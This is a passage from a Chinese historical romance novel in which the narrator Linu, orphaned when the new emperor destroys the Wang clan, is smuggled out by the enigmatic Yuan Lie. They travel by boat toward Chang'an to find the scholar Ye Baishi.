所有人都以为他一上台就会削弱王家的势力,却原来,他想要的是——灭族!一劳永逸,永诀后患!
我低着脑袋胡思乱想,头越来越重,越来越昏沉,手上身上也没了力气,几乎快要支撑不住了。“珲哥!”母亲忽然迸发出一声撕心裂肺的叫喊,我猛然抬头去看,父亲也倒在了水塘之中。豆大的雨点依旧不停地落在他身上,每敲打一下,都会砸出一圈衣纹,那些圆点子深深浅浅地变幻着,像有无数手指在戳他,可他就是不醒,一动也不肯动。
一旁的六叔去推他,拽他,“三哥,三哥”地喊他,他就像一片离开枝头的落叶,任由秋风无情地撩拨着,最终还是要落到地上。大伯回头看了一眼,他的脸色灰白,只有眼睛是红的。六叔茫然地托着父亲的头看向大伯,大伯一句话也没有说,就把头别了过去。
父亲自小体弱多病,好几次大夫都说没得救了,生在王家也许是他的幸运,他的命就是用金山银山一点点延续下来的,哪里禁得起风雨如此的摧折。我跪在那里一直都没有落泪,直到意识到眼前的亲人可能要永远地离开,终于忍奈不住,失声恸哭起来……
又不知道过了多久,远处终于有一顶御辇众星拱月般而来,大家渐渐停止了抽泣,屏息等待着即将到来的审判。辇车落地,出来的却是玲珑,她疾步走到大伯面前,想拉他起身:“王太尉,外头雨大,您先带着家人回去吧。”
“娘娘!”大伯猛磕一头,后头的小太监赶忙跑上前替玲珑掌伞,但才一会儿,她的衣服也已经打得半湿了。“娘娘!王牧起兵一事,实与王氏一门无关,请娘娘……”
“王太尉,玲珑出自王府,总是拿自己当王家人,该说该做的,玲珑一定会说会做。大将军……起兵之事,陛下……自会有论断。雨那么大,还有这么多老人和孩子,请大人先回府吧!”
大伯闻言,仰天长叹,双拳狠狠地砸在地上,一下又一下,发出沉闷的声响。
玲珑在人群里找到我,她看了看我绑着木片的左手,心疼道:“小姐,怎么搞成这样?”
“玲珑……”我喊她,她看上去有些狼狈,但却比以前更美。
“大胆!”撑伞的小太监出声呵斥我,被玲珑挥袖制止了,她接过雨伞,替我和母亲遮上,自己却被雨水浇得透湿。玲珑的眼睛也是红肿的,想必哭了很久,额前的头发乱糟糟的,隐隐露出额面上的青影。我怯怯地伸手去拨,才发现是一大片深紫色的淤青。
她一定对他说了很多好话,又磕了很多响头,而所能做到的不过是先放我们回府,余下的……是他的自有论断。
玲珑紧紧捏着我的右手,对我道:“小姐快回去换身衣服吧,玲珑没本事,您自个儿……好好保重!”语毕,再忍不住两行热泪,掩面而去。
众人跌跌撞撞地站起来,我的腿也麻木了,和母亲艰难地爬到父亲身边,他安静得像是睡着了一样,已然没了气息……
我和母亲抱头痛哭,有人来拉,来劝,我也只是攥紧了拳头不管不顾地大哭……直哭到眼泪都快干涸了,雨却还是不肯停。老天爷不会累吗?终于,我再也支撑不住,慢慢松开手掌,在倒下之前,用尽最后的意识把玲珑塞在我手里的东西交给了母亲……
15. 第十四章 后有白牛继
待我醒转,发现自己正躺在温软的榻上,衾被上有熟稔的气味,是淡淡药草、松烟和桂花混合在一起的馨香,这气味让我倍感亲切,心里也稍稍有些安稳,但头还是异常的疼痛。我深深吸了一几口气,努力地想让自己清醒过来。
眼前的摆设……这是父母的卧房,我正睡在他们的床榻上。爹爹呢?刚才,好像做了一个恶梦……不,那不是梦。爹爹……死了!随着意识渐渐澄清,我再次回想起大殿前的一幕,风雨如磐,压得我透不过气来。
对了,母亲呢?我扭头去找,她静静地坐在外间。床榻上挂着轻薄的纱幔,朦朦胧胧挡住了我的视线,如同起了一层白雾,把我们隔在不同世界。母亲一袭贯穿的白衫,头发没有束起,还有一些潮湿,那样子就好像弈秋园里最平常的夜,用摆晚膳,沐浴之后,她都会坐在那里捧着一本棋谱,直到晾干头发。
阿代嬷嬷也在,王家大难临头,府里的佣人大概都跑得差不多了吧,像她这样的忠仆,恐怕已经不剩几个了。
外面的雨依旧在下,不时灌进来一阵冷风,把母亲乌黑的长发和雪白的绡衣搅在一处,泼墨般淋漓。门大敞着,她一直对着院子出神,像是在等什么人,手里捏着一张皱巴巴的纸,大约就是玲珑塞给我的东西。
“小姐,瑟妃娘娘写了什么?”嬷嬷低声问她。
“一盘死活棋。”母亲又看了一眼手里的纸,就将它放在烛焰上,蓝色的火苗渐渐窜高,直到快要引火上身,她才松手。一盘死活棋?玲珑想要告诉我们什么?母亲大概已经解开了吧。
嬷嬷又问:“娘娘是想告诉小姐什么吧?”
母亲点了点头,讷讷道:“要活棋,唯有逃子。”她重重一叹,沉默了很长时间,才又说:“不过已经不重要了,她想说的,一年前就有人告诉我了。只是当时,我不肯相信。”
要活棋,唯有逃子?玲珑已经知道,新皇的自有论断,就是要赶尽杀绝。她想让我们逃走,可是,王府外面恐怕早有重兵把守,插翅也难飞了。我动了动左手的手指,挣扎着想要坐起来。
忽然,门外闪出一人,仿佛是从天而降,长身玉立,衣袂飘飘,宛如在画中初见的模样。他从何处来?又为何而来?这么大的雨,难道都没有淋湿吗?“夫人久侯了,元烈依约而来。”母亲果然在等人,好奇驱使我不再动作,躲在帘子后面屏息静听。
母亲朝他惨然一笑:“天下局势,果然都逃不出他的眼睛,司马映一继位,就拿王家开刀了……也许,我不是一个好的母亲,如果……我肯早点放手,让你把狸奴领走,狸奴也不会弄成现在这个样子,还有她的手……”母亲低了一下头,声音已有哽咽,“元公子,我不问你如何进得王府,可如今,你带着狸奴,又要如何脱身?”
元烈勾唇一笑:“南谢北杜,要见美人一面还真是难,元某为见夫人两次,皆费尽心机。但元某既然进得来,自然也出得去。只等吉光雅园火势一起,便可乘乱出去。请夫人小姐随我走吧。”元烈朝屋外抬了抬手,母亲依旧端坐不动。
我埋了半个头在被子里,只露出眼睛注视着外间的动静,心里暗暗寻思,母亲口中那个料得先机的人,可是她曾经提起的王碧?但王碧与我又有什么牵连,为什么要带我走呢?元烈提到雅园火势,难道他为脱身,要去放火?想起园子里的那些墨帖,我下意识动了动受伤的左手,一阵疼痛钻心,如果要以那些传世之宝来换我的性命,我倒宁可自己死掉。
母亲朝里间看了看,我连忙闭上眼睛,脑海中又浮现出她凄美的面庞,她道:“狸奴还没有醒,元公子……你带她走吧,她受了伤,病得很重,路上烦你照顾。阿代,你跟着小小姐吧,有你在,我也放心。”
“小姐!”“夫人不随我走吗?”是嬷嬷和元烈的声音,我心里一惊,她留下来,就是死路一条。我暗下决心,一会儿就是拖也把她拖走,她若不肯走,我也不走。
“元公子,请你转告王碧……”果然是他!母亲语气缓和,但却决绝,让人无法辨识其中爱恨,“当年是他负我,如果这些年,他都感到于心难安,那就请他把欠我的全数还给我的女儿吧,好好教养她长大,让她平平安安地活下去……我是不会再去见他的,王珲是好人,他待我好,我一日是他的夫人,就永远不会负他。也请元公子转告他,狸奴……永远都是王珲的女儿,即便他现在死了,我也不愿他身后的名声有所玷污。”
我偷偷张开眼睛,见元烈点了点头:“既然夫人心意已决,元某也不好强人所难。事不宜迟,王小姐,元某就带走了。”他大步走进内室,挑开床榻上的帘幕,见我睁着双眼看他,愣怔了一下,停下手里的动作。
我掀开被子,努力想要爬起来,元烈伸手助了一臂之力,刚坐起来,就是一阵眩晕。我一咬牙,也顾不得穿鞋,踉跄扑到母亲跟前:“娘亲,你不走,狸奴就不走!”
母亲也诧异我醒着,随即将我紧紧抱在怀里,我忍着疼,乖巧地依偎着她。我一直知道她柔弱外表下的坚决,她认定的事情,很少会有改变。现在唯一能赌的,就是她还舍不下我。
但随即,她就将我狠狠推了出去,大声对元烈道:“快带她走!”
我抓住她的衣襟哭闹起来,母亲清丽的脸在我的泪水中渐渐模糊。她想掰开我的手指,但我死命抓住她的衣襟,甚至用上左手,虽然我的左手使不上力气,但也许她舍不得我疼,就不会这么狠心地推开我了。母亲果然松开手,抬起头绝望地看向元烈,可等我明白她眼底的深意,已经来不及了。元烈一记手刀砸在我的后颈上,我只觉头脑一热,便失去了知觉……
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“娘亲!”我尖叫着醒来,发现自己正躺在一个狭窄而陌生的环境里,是一间小小的船舱。难道我们已经逃出生天?阿代嬷嬷坐在我身旁:“小小姐,你醒了,出了好多汗啊。”
我回过神茫然地看着她:“嬷嬷,娘亲呢?”嬷嬷欲言又止,手里拿着块帕子,停在我汗湿的额头上。她的动作僵持了很久很久,船舱里静得诡异。我好像已经知道了答案,却不愿意接受。
“她死了。”船舱中间隔着一道粗布帘子,帘子那头,传来元烈毫无喜怒的声音。
我含泪看着嬷嬷,想向她求证这个噩耗。嬷嬷愤愤朝帘子那头白了一眼,回过头来柔声道:“小小姐,您……不要胡思乱想了,好好休息吧。”
“嬷嬷……”我坚持要从她嘴里得到真相。
嬷嬷再忍不住,泪如雨下,哽咽
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道:“小姐她……她说,皇上不会放过王家的,与其将来再受不必要的罪,不如现在……现在就随着姑爷去了……”
我把头埋进被子里大哭起来,直哭到头疼欲裂,哭到天昏地暗,哭到连眼泪都干涸了。门庭赫奕的琅邪王氏已在一夕间訇然倒塌,我失去了最最亲近的人,从此变得孤苦无依。甚至,连我日后赖以为计的左手,也都残废了。
嬷嬷隔着被子不停地安抚我,我哭得累了,才听见有人吹箫。一阙《秋风辞》,欢乐极兮哀情多。嬷嬷挑开布帘一角,原来是元烈端坐船头,江南明月夜,玉人教吹箫,妙声悠远,回肠九转。这人与我来说,总觉得不太真实,忽近忽疏,若说眼前只是一缕画魂,我也相信。
一曲吹罢,他好像发现我,收起竹箫,低头钻进船舱。大概风吹得久了,声音也是冷的:“哭够了?哭够了就休息吧,明天还要赶路。”
我也着实累了,仿佛已经把一辈子的眼泪都流尽了。
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小船泊在桃叶渡口,鸡鸣报晓,天光渐亮,河岸两旁又热闹起来,一切太平无象。就算是南朝最大的家族倒台,也不能被百姓列进柴米油盐七件大事。元烈拿了一张纸,喊墨童出船去置办些东西。我的目光追着他上了岸,恋恋不舍朝乌衣巷的方向又看了一眼,金陵繁华地,此去经年,我也许再不会回来……
“五马浮渡江,一马化成龙。王马共天下,后有白牛继……”孩子们嘻嘻闹闹,大声唱着孺子歌从岸边跑过。我从胸腔里闷哼了一声,王马共天下?新皇要的是司马氏一家之天下,又怎肯与他人分席而坐?
船家是个四十来岁黝黑精瘦的男人,他看着经过身边的孩子,嘿嘿笑了几声,对元烈道:“此童谣武帝在的时候就有,后有白牛继,也许真叫它说准了。如今看来,当年的牛丞相,死得真是冤枉。”
“哦,此话怎讲?”元烈坐在甲板上,与船家闲聊起来。
船家蘸水在船板上歪歪扭扭写了个“牧”字,写罢,又挥挥手道:“唉,公子你也看不见,我也不认识字,才和人学来的。你看,这‘牧’字啊,不就是一个‘牛’,一个‘反’吗?我常年在这里做生意,也见过那位王大将军,总是穿着一身白衫,俊俏的很……不过比公子你,倒是差些。”
元烈一笑:“船家也相信王牧造反?”
“只要万岁爷相信,我们小老百姓信不信的,有什么重要?只怕又要打仗,这才太平了几年啊……不过,也由不得人不信,您看当今皇后,进宫前,可闹出不小的动静呢……若说他们没私情,谁信?”
阿代嬷嬷愤愤甩下船舱中间的帘子,我不吭声,歪头躺了回去,想着司马映一定知道真相:牧哥哥造反,是欲加之罪!只因琅邪王氏太过强大,强到足以震主!先皇那时早就不问朝事了,太子的婚事就是他自己一手促成的。谢家那么多适婚的女孩子,他偏偏册立已有婚约的絮姐姐为妃,一方面可以笼络与王氏齐名的谢家,一方面又由着絮姐姐大吵大闹地据婚,闹得满城风雨,也就坐实了牧哥哥造反的动机。他也一定算准了,以牧哥哥性情之磊落,是绝对不会造反的,之前不会,之后也不会!
16. 第十五章 宵寒药气浓
小船顺利驶过石头城,看守水道的官兵对来往船只盘查得很松懈。听说禁卫军一直包围着王府,但并没有进一步动作,想来还不知道已经有人从里面出逃。尽管如此,出城时,我依然感觉又历经了一次生死。
我非贪生而恶死,只是离别意难平。从此与亲人隔如参商,会面不可期,生死难相知!
萧萧起秋风,澹澹生烟波,戚戚辞故里,迢迢走他乡。小舟溯江而上,道路阻且长。我不习惯坐船,头本就疼,加之风高浪急,才一天,就吐到虚脱,只觉得要把五脏六肺都吐出来了。
好不容易挨到夜泊,刚想睡下,就听墨童在帘外唤了句“王小姐”,我应了一声,他挑帘端进来黑漆漆一碗药汤。阿代嬷嬷从他手里接过,疑道:“这是什么啊?”
墨童言简意赅:“药。”
“我当然知道是药!什么药?治什么的?哪来的?”嬷嬷咄咄逼人。
墨童翻了翻眼睛,不吭声,一张乌铜般的脸立刻变得黑白分明。“嬷嬷,元公子救了我们,总不见得再害我,我现在百病缠身,治什么的都好,拿来我喝吧。”我向她伸手,心说,嬷嬷护着我我是知道的,但她这个样子,总非对待恩人之道。
阿代嬷嬷看了看我,又看了看药,还是不放心,先尝了一口,才万般不情愿地递给我。药香扑面而来,是我至亲的人身上常常沾染的气味,我捧着药碗,深深吸了一口气,鼻子就酸了。墨童见我怅然若失,不明其中缘故,又朝嬷嬷翻了一记白眼,才转脸对我道:“王小姐放心喝好了,是我家主人写的方子煎的药,别人求还求不到呢!”
嬷嬷嗤鼻一声,转身出舱:“这么苦的药,小小姐,我去给你找点水漱漱口。”
“嬷嬷”,我喊住她,先前倒是没留心,她走起路来怎么一跛一跛的,“你的脚怎么了?”
她回转身,脸上的皱纹越发深刻:“没事,没事,嬷嬷年纪大了……”说罢,扭头出去了。
我听墨童从鼻子里“哼”了一声,想他大概知道其中原委,便仰起脸询问。他本欲跟着出去,见我看他,低头犹豫了片刻,不悦道:“那老婆子活该!看她也没念过几本书,没想那么酸腐,都火烧眉毛的时候了,还要讲什么男女授受不亲!我家主人好心要抱小姐走,她偏不让,非要自己背,险些害得我们都逃不脱……”我尴尬低头,不知如何答他,又听他小声补了一句:“又不是没抱过!”说罢,跟着出去了。
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行行重行行,与亲生别离。小船一路向西,但究竟要去往何处去,我不闻,也不问。接下来的日子,几乎每天都呆在棉被里,一天三顿饭,两碗药,昏睡的时间多,清醒的时间少。几次梦里回到乌衣巷,小廊回合曲阑斜,多情只有闲庭月,犹为离人照落花。
可就算是这样的依稀别梦,还时常被两岸猿鸟哀鸣,渔樵羌笛惊醒。空谷旷野,此音凄绝,声声断肠,那堪入耳。我倒是宁可听嬷嬷和墨童斗嘴吵架,总还有些人气。
大概是出府那天结下的梁子,两个人隔三岔五拌一次嘴,我很少听见元烈的声音,偶尔听见一次,也只是在他们吵得不可开交的时候,他才会淡淡说上一句:“墨童,你的话太多了。”墨童就会立刻闭紧嘴巴,我仿佛能看见他黑白分明的眼睛,极不情愿地转动着。嬷嬷一个人还要嘀咕几句,念着念着也就没了意思,憋着气,挑帘到我这里。
起先,我总是在元烈制止他们之前就把嬷嬷叫进来,好快点平息口角。慢慢的,我也不知道哪里来的恶趣味,就非要等着他先开口,好像是在试探他忍耐的底线,又好像,只为听他说一句话,知道他还在,知道我没有被抛下,心里才会安稳。
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逆水行舟,也不知道在水上漂泊了几日。
“怎么又停船了?这样走法,要几时才能到长安啊?”一大早就听见嬷嬷的声音,我揉揉眼睛,原来我们是要去北朝都城长安,我恍惚是知道的。
“今天不走了……明天也不走……后天也不走……大后天也不走……大大后天也不走……大大大后天也不走……大大大大后天也不走!”墨童不如直接说“停船七日”,他是故意这样拉长扯开了,想必嬷嬷的脸都气绿了。
“我们是在逃命!你当在游山玩水啊?”
“你也知道逃命要快啊!”墨童不甘示弱。
“我家小小姐是要进城看大夫的,耽搁了你担待的起吗?”
“大夫就在眼前,我家主人不是已经给看过了?”
“哼,乡村野店有什么好大夫?我看也就是个赤脚医生,也不知道他给小小姐吃了什么?”
“进了长安城,也是我家主人医术第一!你要嫌慢,背着你家小姐走啊!”
我张了张嘴,忍下了。嬷嬷又道:“我不和你这黑猴子说,你家主人呢,我去和他说!”
墨童得意笑道:“我家主人不在船上,他上岸拜访朋友去了。”
嬷嬷“哼”了一声,重重挑开帘子,见我醒着,才放轻了手脚,柔声道:“小小姐醒啦?今儿好点没有?”我点点头,嬷嬷又道:“我总是不放心,长安城大,该给你找个好大夫看看。可这船都开了两个来月了,走走停停,这元烈也真是的,动不动就上岸,不是游山就是访友,好几天才回来。刚才我还问了船家,这方向眼看就要入川,要去长安,早就过头了!”
原来已经两个多月了,我好像断梗浮萍,随水漂流了这么久也不自知。连嬷嬷都有一个明确的方向,知道要带我去长安重新看大夫,而我,我的方向在哪里呢?对元烈来说,我只是无意中闯入了他的行程,是他旅途中受朋友之托,顺道带回去的一件行李罢了。他是不会为我改变方向的。
我“嗯”了一声,披了件棉衣起身。不知道是元烈的药起了作用,还是冬日已至,我的病本该康复,总之,人确实轻省了许多。
左手依旧绑着木片,嬷嬷每日悉心为我换药,伤近百日,我想,该长好的也都快长好了吧。但这正是嬷嬷最担心的地方,一路上缺医少药,她怪元烈走得太慢,若是长安城里有大夫说这手还能治,那必定是要敲碎了骨头重新来过的。虽然墨童动不动就向嬷嬷吹嘘他家主人医术了得,但嬷嬷只消一句话:“那他怎么治不好自己的眼睛”,墨童就无语了。
这两个多月来,我第一次到船舱外走动。清冷的风吹来,像是捧了一掬冰冽的泉水泼在脸上,让人为之一震。我拢了拢衣服,站在船头极目远眺,天地宽广了,心也跟着豁达起来。天上飘起了细密的小雪,仿佛江南春风吹起的扬花,纷纷乱扑行人面。我伸手去接,但立刻就被手心里的温度融化了,好像细雨无声无息地浸润到土地里,心里也发了芽。
在船上,我找到一本《水经注》和一块羊皮地图。书中不仅记述了水道变迁,还有两岸高山城邑、风俗人情、旧闻掌故。一路走来,原来我错过了那么多风景。
元烈在侧页做了密密麻麻的笔记,大江南北,他真的走过不少地方。有些地方被他重点标识,加以修正,但这到底是前人之误,还是他考据有错,我就不得而知了。不过,已足见其治学严谨。
只是,从他的手迹来看,和他惊为天人的相貌相比,着实悬殊。要是真的字如其人,元烈不过泛泛之辈尔,不免让人心生失望。可是在我小小自负之后,又不禁自怜,日后我只能用右手写字,也未必能比得上这泛泛之辈。
船泊七日,我比照着羊皮地图细细读完一本《水经注》。原来天下那么大,乌衣巷那么小。我没有方向,哪里都可以是我的方向,我没有家,处处无家,处处是家。
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夜凉如水,我被嬷嬷沉重的鼻鼾声吵醒,隔着帘子的缝隙,看见外间残灯如豆,照着一个修长的身影伏在矮桌前,发出轻微木头碰击的声响。是他回来了吗?我睡意全无,悄悄披了件衣服起身,墨童也睡熟了。眼前人似月,果然是元烈。
“你愿意走出来了?”他头也不抬,问我。
我不理会他语意双关:“元公子,你在配药?”他没有答
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,还在专心捣药。“给我的?”我又问,“一直没有机会当面谢你,我觉得好多了。”
他停下来,伸出两根手指,有淡淡药香盈袖:“王小姐,可否让我切个脉?”
我坐到他面前,挽袖伸出手臂,手指触碰到皮肤,温温热热的,才让我感觉到,这个人原来是有活气的。片刻,他道:“我再加两味药,这药你喝到开春,再看看吧。”
“这风寒我年年都有,今年因家中变故,病也发得重些,才拖到现在,本来喝个十来天药就能好了。”我倚靠一边,想了想,又道:“我父亲久病,我生下来又是不足月的,可能是天生体弱的缘故吧。但我想,现在已经好了,这药就不必吃到开春吧。”
元烈抬眼看了看我,好像在琢磨我的心思,许久,悠然道:“这药不是治风寒的。”
“难道治我的手?”我眼睛一亮,脱口而出。这两个月来,我几乎不问任何问题,不问何时,不问去哪,不问找谁,也不问这药是哪来的,治什么,只管一股脑儿喝下去。但在这七日里,我常常追问自己,我的未来在哪里?在我得不到答案的时候,我又想,如果王家不倒,我的未来又在哪里?原来一样无解。只是从前还有一只老天爷赐的左手可以写字,若是还能写字,一辈子青春作赋,皓首翰墨,就算这风寒年年发作,也没有关系。在那一瞬间,我突然希望他能治好我的手。
“你的手已经没得治了。”元烈事不关己,凉凉说了一句。
我低头笑笑,这结果其实就在意料之中。为了不让自己看上去太难过,我出言调侃道:“亏得墨童老是说你医术了得,看来元公子一点不懂为医之道。医者父母心,你这么快就让你的病人陷入绝望,看来算不上是一个好大夫。”
元烈一笑:“我不过实话实说,省得王小姐希望越大,将来失望越大……谁和你说,我是大夫的?”我一愣,不然墨童何以吹嘘他“长安城医术第一”?元烈看了熟睡的墨童一眼,继续道:“王小姐不要听他胡诹,我们跋山涉水常年在外,有时走到荒僻处,几天也见不到一个人影,所以不得不学一些医术傍身。”他又笑了笑,自嘲道:“倒是我和墨童身体强壮,学不致用。”
原来这两个月我喝得都是这个江湖郎中的药,我不禁怀疑,究竟是我病得重了,还是庸医害人。我挑眉:“你是说,我是你治的第一个人?”
“可以这么说。”他低头,继续捣鼓他的药。这些烂草根,我还能说服自己喝到开春?
我咳嗽一声,支吾道:“元公子,你这人……还真是直!这话……你千万不能和嬷嬷说。”我只怕嬷嬷知道了,会找他拼命。
“是吗?看样子王小姐不太喜欢我直,只怕日后……我拐弯抹角的样子,小姐会更讨厌呢。”他说得状似玩笑,却又好像别有深意。
我不想再围着这药讨论下去,生怕又问出什么骇人听闻的事情。“我们这是要去哪儿?”我想他也许还有别的地方要去,现在,我还没有自己的方向,就权且拿他的方向做方向吧,总好过漫无目的,什么都没有。
“我的事情都办完了,明天就启程,直奔长安。这一路上,耽搁小姐的时间了。”
我点点头,心里忐忑起来:“我们是要去找一个人吧?”我隐约是知道的,可从来没有人正面和我谈起过,将来这个人,我不知道见面以后如何以对,也许元烈可以告诉我。
“我们去找叶先生,叶白石。”
白石青兕,得一人者得天下。
就是那个天下无人不知无人不晓的叶白石吗?白石先生在刘汉为官,位列大司马大将军,三公之上,又录尚书事,他在北朝地位之显赫就犹如昔日大伯在江南,甚至有过之而无不及。而在南朝,他却是千夫所指的汉人叛徒,胡人走狗。当年刘圭手下之骠骑将军苻又臣久攻洛阳不下,就是他出城投靠,在帐下扪虱谋策,才使那支军队横行无阻,一路攻入帝都的。
“不是……不是去找王碧吗?”我一头雾水。
“白石即王碧,叶是母姓。”元烈蘸茶水,在矮桌上拆了一个“碧”字,缓缓道:“我答应过你母亲,虽然我并不赞同,但这是你们的家务事,所以,我言尽于此,你不会从我嘴里得到更多……但,以小姐之聪慧,恐怕也已经猜得差不多了吧?”
17. 第十六章 春水绿如蓝
小火焙药香,抟风凝不散。以前在我写字的墨里,都会特别添加几味中草药,别人觉得辛苦的味道,我却觉得脱俗别致。清晨,能在这样亲切稳妥的气味中醒来,总好过两岸猿声惊梦。
我披衣起身,帘外葭苇萧萧风淅淅,残月霜白,曙色渐渐分明。元烈在船头煎药,难得见他换下一身黑衣。绿色是挑人的颜色,印象里,只有桓恒将军的侄子桓轩好服绿衣,第一次在临仙酒楼里见到他,就是一袭碧碧青的翠衫。那是少年人的颜色,像极春天里葱茏的新柳,充满昂然的生机。同是一身绿衣,元烈和桓轩又有些不同,可能是浆洗的次数多了,颜色有些发暗,像是匀匀地混进些许墨汁。那决计不是新柳的颜色,在这皑皑冬日里,更像是青松翠柏,岁寒,而知其后凋。
我撇开视线,问了声早安。元烈含含糊糊回了一句,许是“药快煎好了”之类的话。这人,也不知道该不该说他自信,他怎知我听完昨夜一席话,还能喝得下去。
红泥小炉,架着一只被铁线箍牢的浅褐色砂锅,半红半蓝的火苗在清晨的白雾里若隐若现,好像炉子里头塞满了蛇,争先恐后地朝外面吐着信子。那样子真是妖冶,我看着看着,就恍了神。
“你烧了吉光雅园?”我也不知道怎么就问了这话,他转过脸对着我,青纱下,必定是在打量我。我掳了掳裙子,坐到他对面,“吉光雅园里奇珍异宝无数,在南朝,和石宗山府里的绿楼齐名。坊间传,得吉光片羽,几辈子吃穿不愁,这话也是不假的……其实,金银财宝都是身外物,我六叔最宝贝的,就是里面的书画,历代名家之作,烧了,便再也没有了,后世无法瞻仰,实在是可惜。”
我的左手残废了,深知其中痛楚,六叔失去雅园,必定也是和我一样的。我尽量让语气和婉些,元烈要救我们出去,放火实属无奈之举,我也只是想告诉他我的痛惜,并非是在怪他。但我言不达意,恐怕是叫他误会了。
元烈听我说罢,转过头去看火,添了一段干柴,漠然道:“王小姐怎么会以为是我烧的?”
我沉吟片刻:“你是说,六叔放的火?”元烈不说话,我就知道自己猜中了。六叔大概已经知道王家气数已尽,他向来视吉光雅园如命,那把火,就是给自己陪葬的吧。“六叔他……”
“自焚而死。”元烈淡淡道,“但吉光雅园的火很快就被外面的官兵救下来了。得吉光片羽,几辈子吃穿不愁,司马映也是知道的。他不会让王琳烧掉雅园,南朝国库空虚,他比谁都需要这园子。所以我们才能趁禁卫军救火的时候逃出来。”
元烈始终对着红泥炉,不急不徐地说着。一阵江风吹来,火苗向一侧歪倒,险些熄灭。我忽然觉得一阵心寒,不禁颤抖了一下。此人深险,见司马映不过一面,就能猜中他的心思。而我六叔,对他可谓掏心掏肺,即便只是普通朋友,闻其死讯,也不该如此淡漠。更甚的是,他分明就在利用六叔之死。
元烈从药锅里逼出一碗黑稠稠的药汤,每回墨童端来给我喝,我都疑心是他身上掉下来的颜色。元烈将盛满药的粗笨陶碗端到我面前,我看了一眼,赌气似的,不肯去接。“这药即不治我的风寒,也不治我的手,元公子总要告诉我,我喝这药,到底为了什么吧?”
元烈勾了勾嘴角:“王小姐每年秋冬之交都有大风寒,夏天不易出汗,冬天手脚冰冷。若我没有说错,小姐已过笄礼,还没有月事吧。”我低下头咬了咬唇,想必脸是红了,元烈继续道:“小姐体弱,并非出自娘胎,也不是不足月。之前的大夫头痛医头,脚痛医脚,以为风寒好了,病就痊愈了,全然没有治到根子上。”
我细细回想一下,天已经冷了,我确实没有原先那么畏寒,难道真是他的药起了作用?
他又朝我递了递药碗,我犹豫着要不要去接,他将药碗往矮桌上一搁,道:“药我煎好了,话多说无意。路都是自己选的,小姐可以选择喝,也可以选择不喝。”他侧了侧头,示意我不喝可以倒进江里。
我偏过头去,小舟江中行,抛却万重山,过去种种,已经渐行渐远。这两个月里,该流的眼泪都流尽了,不管怎么说,元烈都是我的救命恩人,司马映要诛灭王家,六叔之死也不能迁怒于他。狸奴九命,我一日不死,便要好好活下去,这也是母亲的心愿吧。
我端起药碗,一气喝完,又狠狠用袖子抹了抹嘴。元烈抿着嘴角,似有笑意,一言不发,转身回舱去了。
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天淡银河垂地,举头一轮白玉盘,好似母亲弈秋园里的月,比任何一处都大而明。我轻舒一气,水阔山遥,千里共月,最易惹相思。元烈坐在红泥小炉旁吹萧,箫声里,仿佛有铁马冰河破长夜而来,把这月光吹得更清寒了。一曲未完,江风袭来,箫声嘎然而止,元烈取出腰间的折扇护住炉火。那是一柄素面竹骨的扇子,没有题字。我下意识摸了摸身侧,青兕所题的折扇,已经毁于建康宫门前的那场大雨了。
“元公子,你一路游山访友,可曾去拜访过青兕先生?”
元烈给我腾出一块地方,淡声道:“是啊。”
我就势坐下:“早知,就和元公子一道去了。”元烈抬起头,我被他看得有些窘,只好侧过脸去对着一江水月。“青兕先生所题的折扇,我一直带在身边,可惜毁于大雨。狸奴为先生的书道所折服,也因那阙短歌,倾慕先生为人,一直希望能拜望他老人家。”这话我从没和人说过,但如今身在江湖,便是江湖儿女,也就不必故作矜持了。
元烈顿了顿,似乎在回味我的话:“哦,王小姐以为青兕是何等样的为人?”
我从鳞鳞水光中撤回视线,低头想了想:“青兕先生隐于山林,但这应该不是他的平生志愿。世间千里马常有,而伯乐不常有,乱世里,贤士难求,明主更是难遇。先生应该还在渭水之畔,等候他的明君吧?”
元烈抬抬眉毛,又轻轻努嘴,好像并不同意我的话,停顿片刻,又问:“那么小姐以为青兕之志又是什么?”
我见他这副表情,忽然没有说下去的信心,到底他才是青兕的挚友,而我,所凭的只是一纸题字。我闭上眼睛,又在脑海中摹写了一遍短歌,那笔章草苍劲有力,矫若惊龙出水,天质自然
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,丰神绝代……我猛然睁眼,坚定道:“先生之志,天下归心!”
元烈哈哈大笑,惹来墨童和嬷嬷侧目。元烈常笑,笑起来有千种风情,但却极少带有真正的笑意,难得如今日这般遂心遂性。他从小炉上取下药锅,逼出一碗陈汤:“如小姐所言,那老头子不安分倒是真的……小姐该喝药了。”
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夜色已深,我了无睡意。嬷嬷又来催我,“小小姐,您就是不睡觉,也不要坐在船头吹风啊,小心又着凉。”
我把手交到嬷嬷手里:“嬷嬷,您先去睡吧,今晚月色好,我再坐一会儿。”江风凛冽,但我的手心暖暖的,可见元烈的药真的管用。
嬷嬷又摸了摸我的手,回舱取了件衣裳,道:“小小姐,坐一会儿就回去,别呆太久了。”说罢,看了元烈一眼,回舱去了。
“明日我们要改走陆路。”元烈道。
我点点头,依照那幅地图来看,明日就要进入北朝。一江南朝风物,我说不出还有什么可以留恋的,但此情此心,正如江南莲藕,藕虽断,丝还连。星垂平江阔,水面如镜,映着满天星辉,泛出鳞鳞波光,小船仿佛就泊在一张巨大的星图之上,可惜这幅星图还是难卜前程。
“北辰星!”我指天道,“那是我认识的第一颗星。母亲教我下棋,我认识的第一个星位就是天元,她说,天元在正中,代表北辰,居其所而众星拱之,是天之最尊星。”
“北辰是帝王星,南谢是天下第一的坐隐高手,她下棋,第一子必落在天元。”元烈道。
我抿了抿嘴:“我曾听母亲笑言,她一辈子只输过两次,都是被人抢去了天元。”
“那局棋,夫人还没有解开吗?”
我摇头,断然道:“元公子那招想了三年,若是我母亲有三年时间,必然解得开。”
元烈抿嘴点了点头,好似有些落寞:“南谢必然解得开,恐怕……也只有南谢能解。她留下残局,这局一日无人能解,便一日在我心头。但我总不能以此为念,逝者长已矣,生者如斯夫,偶尔忆起,也就够了。王小姐也是一样的,明日我们就要进入北朝了……”
“元公子……”我知道他想宽我的心,一路行来,该想通的,我已经想通了。
“阿烈。”他打断道,“我从师白石先生,他这样叫我,你也可以这样叫。先生家在西市光德坊,我与他比邻而居,日后在长安,恐怕会常常见面。”
“阿烈。”我轻轻重复一句,报上自己的名字,“狸奴。和我亲近的人都这样叫我,我让阿代嬷嬷也这么叫,但她说,她年纪大了,改不过来。这是我母亲给我取的名字,我怕日后无人再叫,阿烈,你就这样叫我吧。”
“狸奴。”他笑着重复,缓缓解下蒙着眼睛的青纱。一双凤眸,璀璨如星子,恐怕连北辰也要失色。这双眼睛和我曾经想象的一样,却又不太一样。一江春水绿如蓝,那是南朝三月里最美的颜色。
